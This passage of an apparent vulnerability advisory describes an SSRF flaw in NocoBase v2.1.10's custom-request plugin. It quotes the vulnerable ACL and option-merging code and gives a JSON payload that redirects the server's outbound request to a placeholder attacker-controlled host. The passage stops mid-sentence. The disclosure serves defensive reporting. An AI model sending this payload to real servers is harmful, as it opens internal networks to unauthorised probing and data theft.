CVE-2026-79914

### Summary A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin. A low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs. * Product: NocoBase * Version: v2.1.10 * Component: `@nocobase/plugin-action-custom-request` * Severity: Moderate * Required privilege: authenticated low-privileged user / member Testing was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested. Lab environment: * Docker image: `nocobase/nocobase:latest-full` * Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9` * Database: PostgreSQL 16 * Containers: `nocobase-lab`, `nocobase-postgres` * Docker network: `172.19.0.0/16` * Important environment variable: `SERVER_REQUEST_WHITELIST` was not set --- ### Details The vulnerable endpoint is: ```http POST /api/customRequests:send?filterByTk=<key> ``` The `customRequests:send` action is allowed for any logged-in user: ```ts // plugin-action-custom-request/src/server/plugin.ts this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn'); ``` The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL: ```ts // plugin-action-custom-request/src/server/actions/send.ts const mergedOptions = { ...(requestConfig.options || {}), ...omitNullAndUndefined(runtimeOptions || {}), }; const { url, ...options } = mergedOptions; ``` The URL is therefore attacker-controlled when the low-privileged user sends a request body such as: ```json { "options": { "url": "http://attacker-controlled-host:18080/ssrf-proof", "method": "GET" } } ``` If `SERVER_REQUEST_WHITELIST` is not configured, the server-side requ